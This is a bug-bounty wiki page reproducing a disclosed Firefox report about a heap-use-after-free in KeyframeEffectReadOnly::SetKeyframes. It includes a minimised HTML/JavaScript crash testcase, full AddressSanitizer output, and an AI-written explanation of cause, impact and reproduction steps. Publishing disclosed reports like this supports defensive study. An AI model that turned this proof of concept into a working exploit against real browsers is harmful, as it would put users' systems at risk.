Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free in mozilla::dom::KeyframeEffectReadOnly::SetKeyframes

A heap-use-after-free occurs in KeyframeEffectReadOnly::SetKeyframes when a keyframe effect's target element is removed and garbage-collected while the effect still holds a reference to it. An attacker could trigger a crash of the browser content process, but the text does not claim any further impact.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 29 days
  • Paid in 41 days
  • Disclosed after 29 days

Created attachment 8964500 crash.html (minimised testcase)

The following testcase crashes the latest ASAN fuzzing build (--enable-fuzzing) of Firefox 61.0a1 (SourceStamp=d75d996016dcf325c2db2ed8a47af512d07ffacd). It requires the pref fuzzing.enabled=true.

crash.html:

<script> function spin () { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start() { o97=document.createElement('ol'); o101=document.createElement('li'); o97.appendChild(o101); o102=document.createElement('li'); o97.appendChild(o102); document.documentElement.appendChild(o97); o143=new KeyframeEffect(o101,[{columnGap: 'inherit'},{columnGap: 'normal'}],{"duration":134217713}); o153=document.createElement('marquee'); o153.addEventListener('DOMAttrModified',fun0); o102.appendChild(o153); o143.setKeyframes([{flexGrow: '32765'},{flexGrow: '40960'}]); } function fun0() { o101.remove(); o143.target=null; o101=null; o102=null; o153=null; FuzzingFunctions.garbageCollect(); FuzzingFunctions.cycleCollect(); } </script> <body onload="start()"></body>

ASAN output:

==23064==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d00004b138 at pc 0x7f2f57e07a9e bp 0x7ffe21c38a70 sp 0x7ffe21c38a68 READ of size 4 at 0x60d00004b138 thread T0 (file:// Content) #0 0x7f2f57e07a9d in HasFlag /builds/worker/workspace/build/src/dom/base/nsWrapperCache.h:264:15 #1 0x7f2f57e07a9d in IsInShadowTree /builds/worker/workspace/build/src/dom/base/nsINode.h:1267 #2 0x7f2f57e07a9d in GetComposedDoc /builds/worker/workspace/build/src/dom/base/nsINode.h:630 #3 0x7f2f57e07a9d in nsContentUtils::GetPresShellForContent(nsIContent const*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:3430 #4 0x7f2f5cffbf5a in GetComputedStyleNoFlush /builds/worker/workspace/build/src/layout/style/nsComputedDOMStyle.h:110:38 #5 0x7f2f5cffbf5a in nsComputedDOMStyle::GetComputedStyle(mozilla::dom::Element*, nsAtom*, nsComputedDOMStyle::StyleType) /builds/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:465 #6 0x7f2f57da0748 in GetTargetComputedStyle /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:836:10 #7 0x7f2f57da0748 in mozilla::dom::KeyframeEffectReadOnly::SetKeyframes(JSContext*, JS::Handle<JSObject*>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/animation/KeyframeEffectReadOnly.cpp:193 #8 0x7f2f5a8367f2 in mozilla::dom::KeyframeEffectBinding::setKeyframes(JSContext*, JS::Handle<JSObject*>, mozilla::dom::KeyframeEffect*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/KeyframeEffectBinding.cpp:1500:9 #9 0x7f2f5a85f061 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3032:13 #10 0x7f2f61113a17 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15 #11 0x7f2f61113a17 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #12 0x7f2f610fe4d1 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #13 0x7f2f610fe4d1 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #14 0x7f2f610e491a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #15 0x7f2f61113795 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #16 0x7f2f61114a12 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10 #17 0x7f2f61c3ed1d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3003:12 #18 0x7f2f59f6e39e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #19 0x7f2f5afb3d39 in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #20 0x7f2f5afb3d39 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #21 0x7f2f5af7c74c in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1090:51 #22 0x7f2f5af7dfc5 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1259:20 #23 0x7f2f5af68837 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:527:16 #24 0x7f2f5af6c5d3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:917:9 #25 0x7f2f5d24f118 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1066:7 #26 0x7f2f603bd38b in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7292:21 #27 0x7f2f603b94f9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7085:7 #28 0x7f2f603c108f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #29 0x7f2f56ecf867 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1315:3 #30 0x7f2f56ece8ea in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:858:14 #31 0x7f2f56ecb4c5 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:747:9 #32 0x7f2f56ecd48c in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:632:5 #33 0x7f2f56ece4ac in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp #34 0x7f2f5526a6fa in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28 #35 0x7f2f5822b7aa in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8323:18 #36 0x7f2f5822b7aa in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8245 #37 0x7f2f5820b47a in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5311:3 #38 0x7f2f5831f914 in applyImpl<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1164:12 #39 0x7f2f5831f914 in apply<nsIDocument, void (nsIDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1170 #40 0x7f2f5831f914 in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1215 #41 0x7f2f55077384 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:415:25 #42 0x7f2f55096ae8 in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1096:14 #43 0x7f2f550b2e50 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10 #44 0x7f2f55f8219a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #45 0x7f2f55ed1f69 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #46 0x7f2f55ed1f69 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #47 0x7f2f55ed1f69 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #48 0x7f2f5cba982a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #49 0x7f2f60e2f01b in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #50 0x7f2f55ed1f69 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #51 0x7f2f55ed1f69 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #52 0x7f2f55ed1f69 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #53 0x7f2f60e2e9fa in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34 #54 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #55 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #56 0x7f2f74dc482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #57 0x42476c in _start (/fuzzer3/firefox/firefox+0x42476c)

0x60d00004b138 is located 24 bytes inside of 136-byte region [0x60d00004b120,0x60d00004b1a8) freed by thread T0 (file:// Content) here: #0 0x4c5172 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7f2f54f200a0 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2729:25 #2 0x7f2f54f2845f in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2917:3 #3 0x7f2f54f2845f in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3925 #4 0x7f2f54f2794d in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3746:9 #5 0x7f2f54f2b516 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4315:21 #6 0x7f2f582f443b in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1503:3 #7 0x7f2f5a211ba9 in mozilla::dom::FuzzingFunctionsBinding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:50:3 #8 0x7f2f61113a17 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15 #9 0x7f2f61113a17 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #10 0x7f2f610fe4d1 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #11 0x7f2f610fe4d1 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #12 0x7f2f610e491a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #13 0x7f2f61113795 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #14 0x7f2f61114a12 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10 #15 0x7f2f61c3ed1d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3003:12 #16 0x7f2f59f7314f in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:47:8 #17 0x7f2f5af7c701 in HandleEvent<mozilla::dom::EventTarget > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12 #18 0x7f2f5af7c701 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1087 #19 0x7f2f5af7dfc5 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1259:20 #20 0x7f2f5af68b37 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:559:14 #21 0x7f2f5af6c5d3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:917:9 #22 0x7f2f5af6e8ec in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:996:12 #23 0x7f2f582d8bd4 in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1174:5 #24 0x7f2f5af02713 in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:70:12 #25 0x7f2f57e1bfcf in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5653:15 #26 0x7f2f58207957 in nsDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5086:3 #27 0x7f2f5b36142c in nsHTMLDocument::EndUpdate(unsigned int) /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2121:15 #28 0x7f2f5d070dea in ~mozAutoDocConditionalContentUpdateBatch /builds/worker/workspace/build/src/dom/base/mozAutoDocUpdate.h:83:18 #29 0x7f2f5d070dea in ModifyDeclaration<(lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:318:5), (lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:321:5)> /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:308 #30 0x7f2f5d070dea in nsDOMCSSDeclaration::ParsePropertyValue(nsCSSPropertyID, nsTSubstring<char16_t> const&, bool, nsIPrincipal*) /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:316 #31 0x7f2f58738d90 in SetMargin /builds/worker/workspace/build/src/layout/style/nsCSSPropList.h:2033:1 #32 0x7f2f58738d90 in mozilla::dom::CSS2PropertiesBinding::set_margin(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitSetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:17461 #33 0x7f2f5a85e703 in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2993:8 #34 0x7f2f61113a17 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15 #35 0x7f2f61113a17 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #36 0x7f2f61116646 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:516:12 #37 0x7f2f61116646 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535 #38 0x7f2f61116646 in js::CallSetter(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:664 #39 0x7f2f620e4e9b in SetExistingProperty(JSContext*, JS::Handlejs::NativeObject*, JS::Handle<jsid>, JS::HandleJS::Value, JS::HandleJS::Value, JS::Handlejs::NativeObject*, JS::HandleJS::PropertyResult, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2786:10

previously allocated by thread T0 (file:// Content) here: #0 0x4c54b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x4f5f7d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7f2f5b1fef13 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12 #3 0x7f2f5b1fef13 in NS_NewHTMLLIElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLLIElement.cpp:16 #4 0x7f2f5b340ec9 in CreateHTMLElement(unsigned int, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:252:41 #5 0x7f2f57e4584b in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:10105:18 #6 0x7f2f5b340e28 in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:235:10 #7 0x7f2f58337e62 in NS_NewElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:184:12 #8 0x7f2f58212f3f in nsIDocument::CreateElem(nsTSubstring<char16_t> const&, nsAtom*, int, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:7858:17 #9 0x7f2f58212960 in nsIDocument::CreateElement(nsTSubstring<char16_t> const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5680:26 #10 0x7f2f59fcad68 in mozilla::dom::DocumentBinding::createElement(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1261:59 #11 0x7f2f5a85f061 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3032:13 #12 0x7f2f61113a17 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15 #13 0x7f2f61113a17 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467 #14 0x7f2f610fe4d1 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #15 0x7f2f610fe4d1 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #16 0x7f2f610e491a in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:417:12 #17 0x7f2f61113795 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:489:15 #18 0x7f2f61114a12 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535:10 #19 0x7f2f61c3ed1d in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3003:12 #20 0x7f2f59f6e39e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #21 0x7f2f5afb3d39 in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12 #22 0x7f2f5afb3d39 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #23 0x7f2f5af7c74c in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1090:51 #24 0x7f2f5af7dfc5 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1259:20 #25 0x7f2f5af68837 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:527:16 #26 0x7f2f5af6c5d3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:917:9 #27 0x7f2f5d24f118 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1066:7 #28 0x7f2f603bd38b in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7292:21 #29 0x7f2f603b94f9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7085:7 #30 0x7f2f603c108f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #31 0x7f2f56ecf867 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1315:3 #32 0x7f2f56ece8ea in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:858:14 #33 0x7f2f56ecb4c5 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:747:9

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsWrapperCache.h:264:15 in HasFlag Shadow bytes around the buggy address: 0x0c1a800015d0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x0c1a800015e0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c1a800015f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1a80001600: 00 fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00 0x0c1a80001610: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa =>0x0c1a80001620: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fd fd fd 0x0c1a80001630: fd fd fd fd fd fa fa fa fa fa fa fa fa fa 00 00 0x0c1a80001640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1a80001650: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c1a80001660: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa 0x0c1a80001670: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==23064==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the keyframe effect kept a raw pointer to its target element and did not clear or re-check it when the element was removed and collected, so SetKeyframes later read freed memory.

Impact

The page could crash the Firefox content process; the text does not show any other impact such as code execution.

What the attacker needed

Fuzzing.enabled pref set to true; victim loads a crafted page

How it was found

  1. Create list items and a KeyframeEffect targeting one of them.
  2. Attach a marquee element with a DOMAttrModified listener to the other list item.
  3. Call setKeyframes on the effect to trigger the listener.
  4. In the listener, remove the target element, null the effect's target, and force garbage and cycle collection.
  5. The subsequent setKeyframes call reads the freed element and ASAN reports a heap-use-after-free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A use-after-free is when a program keeps using a piece of memory after it has been freed, so the data there may be stale or replaced. Here a web page's animation code could make Firefox read an element that had already been cleaned up, which crashes the browser tab. The report only shows a crash, not theft of data.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.